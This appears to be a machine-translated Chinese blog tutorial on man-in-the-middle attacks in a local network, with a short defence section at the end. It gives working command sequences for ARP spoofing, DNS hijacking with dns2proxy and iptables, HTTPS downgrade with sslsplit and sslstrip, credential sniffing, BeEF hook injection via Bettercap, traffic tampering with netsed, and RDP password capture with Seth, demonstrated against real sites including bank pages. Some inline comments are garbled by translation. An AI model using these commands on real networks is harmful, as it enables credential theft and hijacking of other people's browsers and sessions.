
拦截敏感信息? 获得未经授权的各种应用程序和系统访问权限? 干扰正常运行? 所有这些以及更多的攻击都像中间人一样进行。
今天,我们继续撰写系列文章,专门讨论“中间人”(以及许多相关的人)如何在几乎所有公司中发现的典型协议和传输通道上进行攻击。 考虑一下攻击者更感兴趣的级别:从网络到应用程序。
有兴趣吗? 欢迎来到猫。
请记住
因此,在上一篇文章中,我们重点介绍了有线和无线环境中的欺骗攻击,展示了用于监视对DNS服务器的请求和响应的技术。 选择DNS是有原因的-这是主要目标之一。 怎么了 一切都很简单-现在几乎所有会话都以请求DNS服务器上目标主机的IP地址开始。
今天,我们将展示“对铜缆”的攻击,但是对于相同的Wi-Fi,除了一些细微差别外,几乎没有任何变化。 由于这种攻击方式非常昂贵且需要特殊设备,因此我们省略了插入光学器件的操作。
首先,我们对DNS查询的“隐形”拦截很感兴趣。 我将使用以下几个实用程序:
DNS2Proxy (该实用程序已经存在很多年了,但是它仍然非常适合战斗)和
arpspoof (还不很年轻)。
我们推出:
# arpspoof -r 192.168.180.254 192.168.180.1 // IP – , - # python2 dns2proxy.py -u 192.168.180.253 // -u IP-, # iptables -t nat -A PREROUTING -i enp14s0 –p udp --dport 53 -j DNAT --to-destination 192.168.180.253:53
现在,通过在任何域上执行nslookup来检查这对受害者计算机的影响:


好了,受害者获得了攻击者所需的主机IP,最有可能是发生攻击的设备的本地IP地址。 屏幕快照还显示客户端认为合法的DNS服务器可以回答她,这当然是错误的。 实际上,DNS2Proxy实用程序的功能非常广泛:您可以指定用于欺骗的特定域,或者相反,可以通过向异常中添加一些来欺骗一切。
接下来是什么? 然后,我们需要部署一个“代理” Web服务器,该服务器将建立2个连接:一个是“代理” <>网络上的合法节点,第二个是“代理” <>受害者。 我们将使用
SSLsplit 。
我们推出:
# sslsplit –l 2000 # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:2000
我们检查如果尝试切换到某些汽车门户网站会发生什么情况,例如
drom.ru :


而且我们有不受保护的连接! 但需要注意的是:wwww和webmy.drom.ru被添加为子域而不是my.drom.ru。 在使用某些实用程序查看攻击者设备上的传输流量之后,让我们尝试登录。 我将使用
net-cred 。 我们看一下它在控制台中显示的内容:

而且我们有一个用户名/密码,太好了!
问题可能会出现:“与上一篇文章有何不同?” 不同之处在于,如果没有这些操作,则将建立HTTPS连接,这几乎使拦截帐户成为不可能。 这就是所谓的“降级攻击”。
即使使用银行和其他资源,所有这些都将起作用:


但是,
不应该责怪银行以这种方式对用户进行“黑客攻击”。 他们在这里无能为力,因为攻击力远远超出了他们的范围! 银行
不怪! 此外,它们都使用2FA,这会稍微降低获得访问权限的风险。
请注意:这样甚至可以绕过HSTS(HTTP严格传输安全性),但不能绕过所有资源(我认为这里的所有或几乎每个人都已经知道)。 许多浏览器保留需要通过TLS连接的域列表,因此对它们的攻击是无能为力的。 最简单的示例是
google.com ,
此处提供了Chromium的完整列表。 Firefox和Chrome / Chromium都不会与其建立HTTP连接,从而保护了用户。 但是,如果攻击者设法以某种方式将“他的”自签名证书添加到了受信任的甚至更受信任的根CA,则无济于事,仅因为浏览器和系统最初会认为它们完全合法且不会产生任何错误在处理过程中。 具有受信任的根CA的情况很特殊:这将使您可以动态地为每个域生成证书(这是DLP和其他分析流量的保护工具通常如何工作的方式),这使您可以分析任何HTTPS连接而不会出现任何问题和来自浏览器的通知。
上面列出的所有工具都已经过时,因为它们使用的是Python2,对它的支持将很快停止。 您可以使用任何类似物,例如
Bettercap ,它是各种工具的“收割者”,可以执行上面列出的所有相同功能,以及许多其他功能。 关于他的工作的唯一评论是:默认情况下,最新版本不想“解析”所有域,您必须指定特定的域。 但是,对于“真实”攻击而言,这足以让眼睛望而却步,甚至有助于不要提前打开。
MitM还允许什么? 导入JS aka XSS。 然后是广泛的创造力。 让我们开始使用Bettercap和
牛肉 :
在Bettercap中包括:
# set arp.spoof.targets 192.168.180.254 # arp.spoof on # set http.proxy.sslstrip true # set http.proxy.injectjs http://192.168.180.253:3000/hook.js # http.proxy on
如果要在HTTPS页面上实现,则还要配置dns.proxy。 作为演示的一部分,我将仅管理HTTP。
转到
diary.ru并在调试器中观察以下内容:

让我们看看牛肉网络界面中的情况如何:

实际上,我们已经完成了,我们已经在“浏览器中”。 创建了2个会话,可能是由于我在后台打开了另一个页面,但这不是问题。 现在,您可以开始
创建一个混乱的局面来收集信息,发动攻击,在某些情况下,请打开炮弹或直接进行挖掘。 “模块树”表中的屏幕快照中显示了部分可能的功能。 为了进行测试,请运行浏览器指纹的收据:

但是,浏览器开发人员并不愚蠢,他们试图掩盖各种“漏洞”,只需单击一下即可访问。 另一方面,这种访问可以极大地促进在受攻击主机上的进一步整合。
让我们继续进行今天的最新攻击-数据欺骗。 一般而言,此攻击来自另一篇文章,即使在传输虚拟机映像以获取访问权限时也可以使用(也许我有一天会更详细地介绍此主题),但是现在我们将进行简短的演示,例如,在网站
pasted.co上进行了简短的演示-最简单的资源,允许有一段时间提供对任何文本信息的访问。 对于攻击,我们使用
netsed 。
我们推出:
# netsed tcp 4000 0 0 s/Hello/HACKED/o # iptables -t nat -A PREROUTING -i enp14s0 –p tcp -m tcp --dport 80 -j DNAT --to-destination 192.168.180.253:4000 # arpspoof -r 192.168.180.254 192.168.180.1
在受攻击的节点上,转到pasted.co,编写我们的“ Hello”,发送,获取链接,打开它,然后查看我们的“ HACKED”。 一个例子很简单,但是我想可以想象到原则上可以实施这种攻击并不困难。



关于RDP和MitM的几句话
有一个有趣的实用程序,称为
Seth ,实际上是一堆aprspoof和sslstrip,但对于RDP。 底线很简单:访问端口3389时,Seth的行为类似于sslstrip,并建立了自己与目标节点的连接。 用户输入凭据...,您可以在此结束。
我们推出:
# ./seth.sh enp14s0 192.168.180.253 192.168.180.254 192.168.180.1
我们从RDP客户端开始,连接到任何RDP主机(我已连接到网络192.168.180.0/24之外的服务器)并输入帐户。 就个人而言,在此阶段之后,我每次都会遇到一个错误,尽管该实用程序应该代理连接,但是它完成了工作中最重要的部分:

突出显示的矩形具有清晰的密码。
保卫自己
- 使用我们上一篇文章中指示的所有措施。 真的有帮助! 我将单独添加DHCP侦听功能,这将使我们能够过滤掉非法DHCP服务器,这可能导致客户端将所有请求发送到攻击者的主机,从而避免了仿冒arp。
- 如果可能,请在各处使用HTTPS之类的扩展名。 如果数据库中包含它,它将自动重定向到该网站的https版本,从而避免了HTTPS降级。
- 对于DNS,您可以使用TLS上的DNS / HTTPS上的DNS或DNSCrypt。 工具并不完美,支持可能非常痛苦,但是在某些情况下,这是一种很好的保护措施。
- 学习和教导家人,朋友和同事注意地址栏:这很重要! wwww.drom.ru,关于以前“无忧”资源上未保护连接的通知通常是网络中某种异常现象的确定信号。
请注意RDP会话中的异常:证书意外更改是一个不好的信号。
现在就这些了。 还是不行 朋友,我想向您了解一下,但是您对对虚拟机管理程序的攻击和计算机迁移感兴趣吗? 还是注入PE文件? 等待您的意见和问题!